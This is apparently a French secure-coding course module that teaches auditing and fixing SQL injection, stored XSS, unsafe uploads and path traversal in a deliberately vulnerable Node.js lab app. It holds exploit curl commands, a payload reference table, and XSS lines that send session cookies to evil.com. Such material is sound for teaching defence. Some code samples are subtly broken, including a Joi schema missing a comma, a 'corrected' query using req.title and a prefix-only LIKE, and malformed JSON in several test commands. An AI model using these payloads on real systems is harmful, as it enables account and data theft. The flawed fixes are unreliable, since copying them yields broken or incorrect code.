

MODULE 4

Filtrer ce qui entre, échapper
ce qui sort

Module 4. Filtrer ce qui entre, échapper ce qui sort

Durée : 1h30 | **Application :** TaskFlow (Node.js + Express + SQLite, port 3000) **Objectif :** Auditer et corriger toutes les injections SQL et XSS. Sécuriser tous les points d'entrée de l'application.

Faibles présentes dans l'app (à corriger dans ce module)

#	FAIBLE	TYPE	FICHER
1	<code>"SELECT * FROM tasks WHERE user_id = " + userId</code>	SQLi	<code>routes/tasks.js</code>
2	<code>"SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"</code>	SQLi	<code>routes/tasks.js</code>
3	<code>element.innerHTML = task.title</code>	XSS stockée	<code>public/app.js</code>
4	Pas de validation longueur/type/format sur les inputs	Manque validation	<code>routes/</code>
5	Upload sans contrôle type/taille/nom	Path traversal + upload arbitraire	<code>routes/upload.js</code>

1. Principe “ne jamais faire confiance aux entrées”

Concept Toute donnée venant de l'extérieur est potentiellement malveillante : corps de requête (`req.body`), paramètres d'URL (`req.params`), query string (`req.query`), en-têtes HTTP (`req.headers`), fichiers uploadés. Le navigateur valide côté client ? Un attaquant utilise `curl` ou Burp Suite, la validation client n'existe plus. La règle absolue : **toute validation doit être faite côté serveur**, sans exception.

Risque concret Un champ `username` sans validation accepte `" OR 1=1 --` comme nom d'utilisateur, déclenchant une injection SQL. Un champ `title` sans validation accepte `<script> ... </script>`, déclenchant une XSS.

Exemple de faille

```
// ⚠️ Faille : aucune validation, données de l'utilisateur utilisées directement
router.post('/tasks', authenticate, (req, res) => {
  const { title, description } = req.body;
  // Ni validation de longueur, ni de type, ni de format
  db.prepare('INSERT INTO tasks (title, description, user_id) VALUES (?, ?, ?)')
    .run(title, description, req.user.id);
  res.json({ message: 'Tâche créée' });
});
```

Action pratique Ouvrir tous les fichiers `routes/*.js` et dresser un inventaire complet des points d'entrée :

☐ POST /register	→ body: username, password
☐ POST /login	→ body: username, password
☐ POST /tasks	→ body: title, description
☐ PUT /tasks/:id	→ params: id body: title, description
☐ GET /tasks/:id	→ params: id
☐ GET /tasks	→ query: q (recherche)
☐ POST /upload	→ file: multipart/form-data
☐ Tous les headers	→ Authorization

Pour chaque point, noter : “validé ?” et “type attendu ?”.

Test de validation

```
# Envoyer un titre de 10 000 caractères, doit être rejeté après correction
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"title":"'$(python3 -c "print('A'*10000)")"\',"description":"'test'"}' | jq
.
# Résultat attendu après correction : 400 Bad Request avec message de validation
```

Trace rapport > “Un inventaire exhaustif des points d'entrée a été réalisé : 7 routes traitent des données externes. Aucune validation formelle n'était présente avant ce module. Un schéma de validation a été appliqué sur chaque endpoint.”

2. Validation côté serveur

Concept La validation côté serveur consiste à définir des **schémas** qui décrivent exactement ce qu'on attend : type, longueur min/max, format (email, UUID, alphanumérique), caractères autorisés. Les bibliothèques **Joi** (mature, Express-natif) et **Zod** (TypeScript-first, inférence de types) permettent de déclarer ces schémas de façon lisible et de retourner des erreurs précises. La validation doit rejeter la requête immédiatement avec `400 Bad Request` si les données ne sont pas conformes.

Risque concret Sans validation, un attaquant peut envoyer des types inattendus (`null` , tableau, objet imbriqué) qui font crasher l'app ou contournent les protections.

Exemple de faille

```
// ⚠️ Faille : req.body.username utilisé sans vérification
router.post('/register', (req, res) => {
  const { username, password } = req.body;
  // username pourrait être null, undefined, {}, ou ''; DROP TABLE users--"
  db.prepare('INSERT INTO users (username, password) VALUES (?, ?)')
    .run(username, password);
});
```

Action pratique

Installer Joi :

```
cd vuln-app && npm install joi
```

Créer `vuln-app/validators/auth.js` :

```
// validators/auth.js
const Joi = require('joi');

const registerSchema = Joi.object({
  username: Joi.string()
    .alphanum()
    .min(3)
    .max(30)
    .required()
    .messages({
      'string.alphanum': 'Le nom d\'utilisateur ne peut contenir que des lettres et chiffres',
      'string.min': 'Le nom d\'utilisateur doit faire au moins 3 caractères',
      'string.max': 'Le nom d\'utilisateur ne peut pas dépasser 30 caractères',
    })
  password: Joi.string()
    .min(8)
    .max(128)
    .required()
});

const taskSchema = Joi.object({
  title: Joi.string().min(1).max(200).required(),
  description: Joi.string().max(2000).allow('').optional()
});

module.exports = { registerSchema, taskSchema };
```

Utiliser dans les routes :

```
// routes/auth.js (extrait)
const { registerSchema } = require('../validators/auth');

router.post('/register', (req, res) => {
  const { error, value } = registerSchema.validate(req.body, { abortEarly: false });
  if (error) {
    return res.status(400).json({
      error: 'Données invalides',
      details: error.details.map(d => d.message)
    });
  }
  // Utiliser `value` (données validées et assainies) au lieu de `req.body`
  const { username, password } = value;
  // ...
});
```

Test de validation

```
# Test 1 : username trop court
curl -s -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"ab","password":"password123"}' | jq .
# Attendu : 400 + message d'erreur

# Test 2 : caractères spéciaux dans username
curl -s -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"al<script>","password":"password123"}' | jq .
# Attendu : 400 + "ne peut contenir que des lettres et chiffres"
```

Trace rapport > “La librairie Joi a été intégrée pour valider les entrées sur POST /register, POST /login, POST /tasks et PUT /tasks/:id. Les requêtes non conformes retournent 400 avec des messages d’erreur précis.”

3. Injection SQL, comment ça marche

Concept L’injection SQL survient quand des données utilisateur sont **concaténées** dans une requête SQL. L’attaquant manipule la syntaxe SQL en injectant des caractères spéciaux (' , " , -- , ;) pour modifier la logique de la requête. Exemples classiques : ' OR '1'='1 (contournement auth), '; DROP TABLE users-- (destruction de données), ' UNION SELECT username, password FROM users-- (exfiltration).

Risque concret Un payload ' OR '1'='1 dans la recherche de tâches retourne **toutes** les tâches de tous les utilisateurs, bypass les contrôles d’accès et expose les données de l’ensemble de la base.

Exemple de faille

```
// ⚠️ Faille dans routes/tasks.js, recherche SQLi
router.get('/tasks', authenticate, (req, res) => {
  const q = req.query.q || '';
  // ← CONCATÉNATION DIRECTE, injection SQL possible
  const tasks = db.prepare(
    "SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"
  ).all();
  res.json(tasks);
});
```

Action pratique

Exploiter la faille avant correction :

```
# Payload : fermer le LIKE, injecter UNION pour lire toutes les tâches
curl -s "http://localhost:3000/tasks?q='% OR '1'='1" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat : TOUTES les tâches de TOUS les utilisateurs
```

Observer dans les logs serveur ou SQLite Browser comment la requête est interprétée.

Test de validation

```
# Après correction, ce payload doit retourner [] ou seulement les tâches de
l'utilisateur
curl -s "http://localhost:3000/tasks?q='% OR '1'='1" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat attendu : tableau vide ou tâches filtrées correctement, le payload est
traité comme texte
```

Trace rapport > “Deux routes SQLi identifiées : GET /tasks (paramètre q) et GET /tasks/:id (paramètre id). L’exploitation du payload " OR '1'='1" retournait l’ensemble des tâches de la base sans filtrage. Correction appliquée avec requêtes paramétrées.”

4. Requêtes paramétrées, Atelier sécurisation SQL

Concept Les **requêtes paramétrées** (prepared statements) séparent structurellement le code SQL des données. Le moteur SQL interprète d’abord la structure de la requête, puis substitue les paramètres en tant que **données pures**, jamais comme code SQL. Le `?` est un placeholder : la valeur est passée séparément et ne peut jamais modifier la logique de la requête, quels que soient les caractères qu’elle contient.

Risque concret Toute concaténation de chaînes dans une requête SQL est une injection potentielle, même pour des types qui semblent “sûrs” comme les entiers.

Atelier, Sécurisation de requêtes SQL (20 min)

ÉTAPE 1, MONTRER L'EXPLOIT

```
# Route vulnérable : GET /tasks avec user_id concaténé
# Payload : lire toutes les tâches en bypassant le filtre user_id
curl -s "http://localhost:3000/tasks?userId=1 OR 1=1" \
  -H "Authorization: Bearer <token>" | jq length
# Résultat avant correction : nombre total de tâches dans la base (toutes)

# Payload destruction (SQLite, ; ne chain pas toujours, mais UNION fonctionne)
curl -s "http://localhost:3000/tasks?q=%' UNION SELECT id, username, password, 4 FROM users--" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat : les usernames et hashes de mots de passe dans les données "tasks"
```

ÉTAPE 2, RÉÉCRIRE AVEC REQUÊTES PARAMÉTRÉES

```
// AVANT, routes/tasks.js (toutes les requêtes vulnérables)

// Faille 1 : user_id concaténé
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = " + req.user.id
).all();

// Faille 2 : recherche concaténée
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"
).all();

// Faille 3 : id de tâche concaténé
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = " + req.params.id
).get();
```

```
// APRÈS, routes/tasks.js (corrigé avec requêtes paramétrées)

// Correction 1 : placeholder ? pour user_id
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = ?"
).all(req.user.id); // ← valeur passée séparément

// Correction 2 : placeholder ? pour la recherche LIKE
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = ? AND title LIKE ?"
).all(req.user.id, `${req.title}%`); // ← les deux valeurs passées séparément

// Correction 3 : placeholder ? pour l'id
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = ?"
).get(req.params.id); // ← valeur passée séparément
```

ÉTAPE 3, TESTER QUE L'INJECTION ÉCHOUE

```
# Test 1 : UNION injection, doit retourner [] ou tâches normales
curl -s "http://localhost:3000/tasks?q='% UNION SELECT 1,2,3,4--" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat attendu : tâches normales, aucune donnée de la table users

# Test 2 : OR injection sur recherche
curl -s "http://localhost:3000/tasks?q=' OR '1'='1" \
  -H "Authorization: Bearer <token>" | jq length
# Résultat attendu : uniquement les tâches de l'utilisateur courant
```

ÉTAPE 4, AUDITER TOUTES LES REQUÊTES DU PROJET

```
# Chercher toutes les concaténations de chaînes dans les requêtes SQL
grep -n "db.prepare" vuln-app/routes/*.js | grep -v "?"
# Toute ligne sans "?" dans la requête est potentiellement vulnérable
```

Vérifier : - ☒ routes/tasks.js , toutes les requêtes - ☒ routes/auth.js , login (SELECT par username) - ☒ routes/admin.js , SELECT users - ☒ Toute autre requête dynamique

Trace rapport > “Quatre requêtes SQL vulnérables à l'injection ont été identifiées dans routes/tasks.js et routes/auth.js. Toutes ont été réécrites avec des placeholders paramétrés (better-sqlite3 API .all(param) / .get(param)). L'audit grep confirme l'absence de concaténation résiduelle.”

5. ORM safety

Concept Un ORM (Sequelize, Prisma, TypeORM) ne protège pas automatiquement contre les injections SQL. Les méthodes haut-niveau (`findAll` , `findOne` avec objet) sont sûres. Les **raw queries**

(`db.query("SELECT ... " + input)`) ou les opérateurs non échappés restent vulnérables. L'ORM donne un faux sentiment de sécurité : il faut auditer toute utilisation de `sequelize.query()`, `prisma.$queryRaw`, `knex.raw()`.

Risque concret Un développeur migre vers Prisma mais conserve quelques `$queryRaw` pour les requêtes complexes, ces raw queries restent des vecteurs d'injection.

Exemple de faille

```
// ⚠️ Faille : raw query dans Prisma, injection possible
const tasks = await prisma.$queryRaw`
  SELECT * FROM tasks WHERE title LIKE '%${q}%'
`;

// APRÈS (corrigé) : template literal taggé avec Prisma.sql
const tasks = await prisma.$queryRaw`
  SELECT * FROM tasks WHERE title LIKE ${'%' + q + '%'}
`;
// Ou mieux : utiliser l'API haut-niveau
const tasks = await prisma.task.findMany({
  where: { title: { contains: q } }
});
```

Action pratique Dans `vuln-app/`, lancer un audit :

```
# Chercher les usages de raw queries ou de concaténation dans les requêtes
grep -rn "queryRaw\\|\\.query\\|\\.raw\\|\\.prepare" vuln-app/routes/ | grep -v "?"
# Documenter chaque occurrence trouvée
```

Trace rapport > “Audit des raw queries réalisé. L'application utilise better-sqlite3 avec `.prepare()`, aucun ORM. Toutes les requêtes ont été paramétrées. Aucune raw query non paramétrée résiduelle détectée.”

6. XSS stockée vs réfléchie

Concept XSS réfléchie : le payload malveillant est dans l'URL ou le formulaire, reflété immédiatement dans la réponse sans persistance (ex: page d'erreur qui affiche le paramètre `?msg=<script> ...`). **XSS stockée** : le payload est sauvegardé en base de données (titre d'une tâche, commentaire) et exécuté chez chaque visiteur qui affiche la ressource. La XSS stockée est plus dangereuse : elle persiste et affecte tous les utilisateurs.

Risque concret Un attaquant crée une tâche avec le titre `<script>fetch('https://evil.com/?c='+document.cookie)</script>`. Tout utilisateur qui ouvre la liste des tâches envoie ses cookies à l'attaquant.

Exemple de faille

```
// ⚠️ Faille côté client, public/app.js
function renderTask(task) {
  const li = document.createElement('li');
  li.innerHTML = task.title; // ← exécute tout HTML/JS dans task.title
  taskList.appendChild(li);
}
```

Action pratique

Exploiter avant correction :

```
# Créer une tâche avec payload XSS stockée
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"title":"<img src=x onerror=\"alert(document.cookie)\">>","description\":\"test\"}'
| jq .

# Ouvrir l'app dans le navigateur, l'alert se déclenche à l'affichage de la liste
```

Observer dans la console du navigateur (F12) que l'alert contient les cookies de session.

Test de validation

```
# Après correction, le payload doit s'afficher comme texte brut, pas s'exécuter
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"title":"<script>alert(1)</script>","description\":\"xss test\"}' | jq .
# Résultat : tâche créée avec le titre textuel, dans le navigateur : aucune alert
```

Trace rapport > “Une XSS stockée a été identifiée dans la liste des tâches : la propriété innerHTML rendait le titre de chaque tâche comme HTML. L'exploitation via une tâche malveillante déclenchait l'exécution du script chez tout utilisateur affichant la liste.”

7. Échappement côté sortie

Concept La règle d'or : **encoder les données au moment de leur affichage**, dans le contexte où elles apparaissent. Contexte HTML → `textContent` (échappement natif du navigateur). Contexte attribut HTML → encoder `"`, `'`, `<`, `>`. Contexte JavaScript → `JSON.stringify`. La librairie **DOMPurify** est une alternative pour les cas où du HTML riche est nécessaire : elle supprime les éléments et attributs dangereux tout en conservant le formatage.

Risque concret Même des données “propres” en base peuvent devenir dangereuses si elles sont insérées dans un contexte HTML sans encodage.

Exemple de faille

```
// ⚠️ Faille, public/app.js
element.innerHTML = userInput; // exécute scripts, event handlers, etc.
element.innerHTML = '<b>' + userInput + '</b>'; // toujours vulnérable
```

Action pratique

Option 1, `textContent` (recommandé pour texte pur) :

```
// AVANT (faille)
function renderTask(task) {
  const li = document.createElement('li');
  li.innerHTML = task.title;
  taskList.appendChild(li);
}

// APRÈS (corrigé), textContent échappe automatiquement tout HTML
function renderTask(task) {
  const li = document.createElement('li');
  li.textContent = task.title; // ← "<script>" s'affiche comme texte, ne s'exécute pas
  taskList.appendChild(li);
}
```

Option 2, DOMPurify (si HTML riche nécessaire) :

```
←!— Inclure DOMPurify depuis CDN ou npm →
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js">
</script>
```

```
// Avec DOMPurify, nettoie le HTML avant insertion
li.innerHTML = DOMPurify.sanitize(task.title);
// "<script>alert(1)</script>" → "" (supprimé)
// "<b>Texte en gras</b>" → "<b>Texte en gras</b>" (conservé)
```

Test de validation

```
# Créer une tâche avec payload XSS
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"title":"<script>alert(document.cookie)</script>","description":"test"}' | jq .
```

Ouvrir le navigateur → afficher la liste → le texte `<script>alert(document.cookie)</script>` doit apparaître tel quel, sans déclencher d'alert.

Trace rapport > “La XSS stockée a été corrigée en remplaçant innerHTML par textContent pour l’affichage du titre des tâches. Le payload `<script>alert(1)</script>` s’affiche désormais comme texte brut sans exécution.”

8. CSP comme défense en profondeur

Concept La **Content Security Policy** est un en-tête HTTP qui indique au navigateur quelles sources de scripts sont autorisées. Même si une XSS est présente dans le code, une CSP stricte peut bloquer l’exécution du script injecté. C’est une défense en profondeur : elle ne remplace pas la correction du code, mais limite les dégâts en cas d’oubli.

```
// Exemple minimal à ajouter dans app.js
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
  );
  next();
});
```

⚠ La CSP sera traitée en détail dans le Module 5 (Headers de sécurité). Dans ce module : noter la directive, comprendre le principe, ne pas implémenter complètement.

9. Upload sécurisé

Concept L’upload de fichiers présente plusieurs vecteurs d’attaque : **type MIME non vérifié** (upload d’un script `.php` déguisé en image), **taille illimitée** (dénî de service par saturation disque), **nom de fichier malveillant** (path traversal avec `../../etc/passwd`), **dossier accessible publiquement** (exécution du fichier uploadé via URL). La sécurisation combine : whitelist d’extensions, vérification du type réel (magic bytes), nom aléatoire, dossier hors webroot.

Risque concret Un upload sans contrôle permet d’uploader `shell.php` et de l’exécuter via `GET /uploads/shell.php?cmd=whoami`.

Exemple de faille

```
// ⚠️ Faille dans routes/upload.js
const multer = require('multer');
const upload = multer({ dest: 'public/uploads/' }); // ← dossier public + pas de
filtre

router.post('/upload', authenticate, upload.single('file'), (req, res) => {
  // req.file.originalname utilisé tel quel, path traversal possible
  const filename = req.file.originalname;
  res.json({ url: `/uploads/${filename}` });
});
```

Action pratique

```
// APRÈS (corrigé), routes/upload.js
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');

// Dossier hors webroot
const UPLOAD_DIR = path.join(__dirname, '..', 'private-uploads');
if (!fs.existsSync(UPLOAD_DIR)) fs.mkdirSync(UPLOAD_DIR, { recursive: true });

// Whitelist d'extensions autorisées
const ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.gif', '.pdf'];
const MAX_SIZE_BYTES = 5 * 1024 * 1024; // 5 MB

const storage = multer.diskStorage({
  destination: UPLOAD_DIR,
  filename: (req, file, cb) => {
    // Nom aléatoire, empêche path traversal et écrasement de fichiers
    const ext = path.extname(file.originalname).toLowerCase();
    const randomName = crypto.randomBytes(16).toString('hex') + ext;
    cb(null, randomName);
  }
});

const fileFilter = (req, file, cb) => {
  const ext = path.extname(file.originalname).toLowerCase();
  if (!ALLOWED_EXTENSIONS.includes(ext)) {
    return cb(new Error(`Extension non autorisée. Extensions acceptées :
${ALLOWED_EXTENSIONS.join(', ')}`), false);
  }
  cb(null, true);
};

const upload = multer({
  storage,
  fileFilter,
  limits: { fileSize: MAX_SIZE_BYTES }
});

router.post('/upload', authenticate, upload.single('file'), (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'Aucun fichier reçu' });
  res.json({
    message: 'Fichier uploadé',
    filename: req.file.filename // nom aléatoire, pas l'original
  });
});
```

Test de validation

```
# Test 1 : upload d'un fichier .php, doit être rejeté
curl -s -X POST http://localhost:3000/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@shell.php" | jq .
# Résultat attendu : 400 + "Extension non autorisée"

# Test 2 : path traversal dans le nom de fichier
curl -s -X POST http://localhost:3000/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@image.jpg;filename=../../.env" | jq .
# Résultat attendu : fichier sauvegardé avec nom aléatoire, pas "../../.env"

# Test 3 : fichier trop volumineux (>5MB)
dd if=/dev/urandom bs=1M count=6 > big.bin
curl -s -X POST http://localhost:3000/upload \
  -H "Authorization: Bearer <token>" \
  -F "file=@big.bin" | jq .
# Résultat attendu : 413 ou erreur taille
```

Trace rapport > “La route POST /upload a été sécurisée : whitelist d’extensions (.jpg, .jpeg, .png, .gif, .pdf), taille maximale 5 MB, nom de fichier aléatoire (crypto.randomBytes), dossier private-uploads hors webroot. L’upload de .php et le path traversal sont bloqués.”

10. Path traversal

Concept Le **path traversal** (ou directory traversal) consiste à utiliser des séquences `../` dans un nom de fichier ou un paramètre d’URL pour naviguer hors du répertoire prévu. Si l’app construit un chemin de fichier à partir d’un input utilisateur sans sanitization, un attaquant peut lire des fichiers système (`../../etc/passwd`), écraser des fichiers de configuration, ou exécuter des fichiers déposés hors du répertoire prévu.

Risque concret `GET /files?name=../../.env` lit le fichier `.env` contenant les secrets (JWT_SECRET, clés API, credentials DB).

Exemple de faille

```
// ⚠️ Faille : nom de fichier utilisé directement dans le chemin
router.get('/files', authenticate, (req, res) => {
  const filename = req.query.name;
  const filepath = path.join(__dirname, 'uploads', filename);
  // ← Si filename = "../../.env", filepath pointe vers le fichier .env
  res.sendFile(filepath);
});
```

Action pratique

```
// APRÈS (corrigé), sanitize le chemin avant usage
const path = require('path');

router.get('/files', authenticate, (req, res) => {
  const filename = req.query.name;

  // Nettoyer le nom de fichier : supprimer tout ce qui n'est pas alphanumérique +
  extension
  const sanitizedName = path.basename(filename); // path.basename("../..../.env") →
  ".env"

  // Construire le chemin absolu et vérifier qu'il est bien dans le répertoire
  autorisé
  const UPLOADS_DIR = path.resolve(__dirname, 'uploads');
  const filepath = path.resolve(UPLOADS_DIR, sanitizedName);

  // Vérification critique : le chemin résolu doit commencer par UPLOADS_DIR
  if (!filepath.startsWith(UPLOADS_DIR)) {
    return res.status(403).json({ error: 'Accès interdit' });
  }

  res.sendFile(filepath);
});
```

Test de validation

```
# Tentative de path traversal
curl -s "http://localhost:3000/files?name=../..../.env" \
  -H "Authorization: Bearer <token>"
# Résultat attendu après correction : 403 Forbidden ou 404 (fichier introuvable dans
uploads/)
```

Trace rapport > “Le path traversal a été mitigé via path.basename() pour supprimer les séquences ../ et path.resolve() + vérification du préfixe pour confirmer que le chemin résolu reste dans le répertoire autorisé.”

TP, 65 minutes

Étape 1 : Audit, recherche d'injections (10 min)

```
# Rechercher toutes les concaténations dans les requêtes SQL
grep -n "db.prepare\|db.query" vuln-app/routes/*.js

# Rechercher les innerHTML côté client
grep -n "innerHTML" vuln-app/public/*.js

# Rechercher les uploads sans filtre
grep -n "multer\|upload" vuln-app/routes/*.js
```

- ☐ Documenter chaque occurrence : fichier, ligne, type de faille suspectée

Étape 2 : Exploit SQLi ' OR '1'='1 (5 min)

```
# Connexion et récupération d'un token
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' | jq -r '.token')

# Exploitation recherche SQLi
curl -s "http://localhost:3000/tasks?q=%' OR '1'='1" \
  -H "Authorization: Bearer ${TOKEN}" | jq length

# Comparer avec le nombre de tâches d'alice seulement
curl -s "http://localhost:3000/tasks" \
  -H "Authorization: Bearer ${TOKEN}" | jq length
```

- ☐ Si les deux nombres diffèrent → injection confirmée. Documenter.

Étape 3 : Correction requêtes paramétrées, toutes les routes (15 min)

```
# Identifier toutes les requêtes non paramétrées
grep -n "db.prepare" vuln-app/routes/*.js | grep -v "'" | grep -v ""
```

- ☐ Corriger dans `routes/tasks.js` : - `GET /tasks` (recherche `q`) - `GET /tasks/:id` - `PUT /tasks/:id` - `DELETE /tasks/:id`
- ☐ Corriger dans `routes/auth.js` :- `POST /login` (SELECT par username)
- ☐ Re-tester les exploits de l'étape 2 → résultats normaux attendus

Étape 4 : Exploit XSS via création de tâche (5 min)

```
# Créer une tâche avec payload XSS
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"title": "<img src=x onerror=alert(document.cookie)>", "description": "xss"}' | jq
.
```

☐ Ouvrir `http://localhost:3000` dans le navigateur ☐ Confirmer que l'alert se déclenche → XSS stockée confirmée ☐ Documenter dans le rapport

Étape 5 : Correction rendu sortie (10 min)

☐ Ouvrir `vuln-app/public/app.js` ☐ Localiser toutes les occurrences de `innerHTML` utilisées pour afficher des données utilisateur ☐ Remplacer par `textContent` ☐ Re-tester : ouvrir le navigateur → l'alert ne se déclenche plus → le payload s'affiche comme texte

Étape 6 : Validation Joi sur tous les endpoints (15 min)

☐ Installer Joi : `cd vuln-app && npm install joi` ☐ Créer `vuln-app/validators/auth.js` (code section 2) ☐ Appliquer la validation sur `POST /register` et `POST /login` ☐ Créer le schéma pour `POST /tasks` et `PUT /tasks/:id` ☐ Tester : ````bash # Username trop court curl -s -X POST http://localhost:3000/register`

`-H "Content-Type: application/json"`

`-d '{"username": "ab", "password": "password123"}' | jq . # Attendu : 400 avec message d'erreur`

`# Titre de tâche vide curl -s -X POST http://localhost:3000/tasks`

`-H "Content-Type: application/json"`

`-H "Authorization: Bearer ${TOKEN}"`

`-d '{"title": "", "description": ""}' | jq . # Attendu : 400 ````

Étape 7 : Sécurisation upload (5 min)

☐ Remplacer la configuration multer dans `routes/upload.js` (code section 9) ☐ Tester l'upload d'un `.php` → 400 attendu ☐ Tester l'upload d'un `.jpg` valide → succès, nom aléatoire dans la réponse

Code AVANT/APRÈS, Récapitulatif visuel

SQLi, recherche de tâches

```
// X AVANT, vulnérable
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"
).all();

// ✓ APRÈS, corrigé
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = ? AND title LIKE ?"
).all(req.user.id, `${q}%`);
```

SQLi, lecture par ID

```
// X AVANT, vulnérable
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = " + req.params.id
).get();

// ✓ APRÈS, corrigé
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = ?"
).get(req.params.id);
```

XSS, rendu côté client

```
// X AVANT, vulnérable
li.innerHTML = task.title;

// ✓ APRÈS, corrigé
li.textContent = task.title;
```

Upload, sans contrôle

```
// X AVANT, vulnérable
const upload = multer({ dest: 'public/uploads/' });
// Aucune restriction d'extension, de taille, ni de nom

// ✓ APRÈS, corrigé (voir section 9 pour le code complet)
const upload = multer({ storage, fileFilter, limits: { fileSize: 5 * 1024 * 1024 } });
// Extension whitelisted, nom aléatoire, dossier hors webroot
```

Payloads d'attaque, Référence

Injection SQL

PAYLOAD	EFFET ATTENDU SUR APP VULNÉRABLE
' OR '1'='1	Retourne toutes les tâches de tous les utilisateurs
' OR 1=1--	Contourne un WHERE, retourne tout
' UNION SELECT id, username, password, 4 FROM users--	Exfiltre les credentials
1; DROP TABLE tasks--	Tentative de destruction (SQLite ignore souvent le ;)
' AND 1=2 UNION SELECT 1, sqlite_version(), 3, 4--	Fingerprint version SQLite

XSS

PAYLOAD	EFFET ATTENDU SUR APP VULNÉRABLE
<code><script>alert(1)</script></code>	Alert basique, confirme XSS
<code><script>alert(document.cookie)</script></code>	Affiche les cookies
<code></code>	XSS via event handler, contourne les filtres basiques
<code><script>fetch('https://evil.com/?c='+btoa(document.cookie))</script></code>	Exfiltration de cookie en base64
<code>javascript:alert(1)</code>	XSS via attribut href si innerHTML + lien

Mini-quiz, 8 QCM

Q1. Quelle est la méthode correcte pour prévenir l'injection SQL ? - A) Filtrer les caractères ' et " avec replace() - B) Utiliser des requêtes paramétrées (prepared statements) - C) Encoder les entrées en Base64 avant insertion - D) Utiliser uniquement des requêtes GET (pas POST)

Q2. Un payload ' OR '1'='1 dans un champ de recherche permet de : - A) Crasher le serveur - B) Contourner un filtre WHERE et retourner toutes les lignes - C) Injecter un script JavaScript - D) Accéder au système de fichiers

Q3. La différence entre XSS stockée et XSS réfléchie est : - A) La XSS stockée est côté serveur, la réfléchie côté client - B) La XSS stockée persiste en base de données et affecte tous les visiteurs - C) La XSS réfléchie est plus dangereuse car elle persiste - D) Il n'y a pas de différence en termes d'impact

Q4. Remplacer innerHTML par.textContent protège contre : - A) L'injection SQL - B) Le path traversal - C) L'exécution de scripts injectés (XSS) - D) La falsification de token JWT

Q5. La validation côté client (JavaScript dans le navigateur) : - A) Est suffisante si bien implémentée - B) Peut être contournée par un attaquant utilisant curl ou Burp Suite - C) Est plus sûre que la validation serveur - D) Est obligatoire pour la sécurité OWASP

Q6. Pour un upload de fichier sécurisé, le dossier de destination doit être : - A) Dans public/uploads/ pour permettre l'accès direct par URL - B) Hors du webroot pour empêcher l'accès direct par URL - C) Dans le dossier racine du projet - D) Sur un CDN externe

Q7. path.basename(".././.env") retourne : - A) .././.env - B) .env - C) env - D) Une erreur

Q8. Joi est utilisé pour : - A) Chiffrer les mots de passe - B) Signer les tokens JWT - C) Valider et assainir les données entrantes selon un schéma - D) Gérer les sessions utilisateur

Corrigé QCM

Q	RÉPONSE	EXPLICATION
1	B	Les placeholders séparent structurellement le code SQL des données
2	B	' OR '1'='1 rend la condition WHERE toujours vraie
3	B	XSS stockée = persistance en BDD = impact sur tous les visiteurs
4	C	textContent échappe automatiquement les balises HTML
5	B	curl/Burp envoient des requêtes HTTP directement, bypass le JS
6	B	Hors webroot = non accessible par URL directe
7	B	path.basename supprime le chemin et retourne uniquement le nom de fichier
8	C	Joi définit des schémas de validation et retourne les erreurs

Livrable

```
# Depuis la racine du dépôt, après toutes les corrections
git add vuln-app/
git commit -m "M4: parametrized SQL queries, textContent XSS fix, Joi validation, secure upload"
git tag M4-injections-corrigees
git push origin main --tags
```

Ressources

- OWASP A03:2021, Injection : https://owasp.org/Top10/A03_2021-Injection/
- OWASP A04:2021, Insecure Design : https://owasp.org/Top10/A04_2021-Insecure_Design/
- OWASP SQL Injection Prevention Cheat Sheet : https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

- OWASP XSS Prevention Cheat Sheet :
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP File Upload Cheat Sheet :
https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
- DOMPurify : <https://github.com/cure53/DOMPurify>
- Joi documentation : <https://joi.dev/>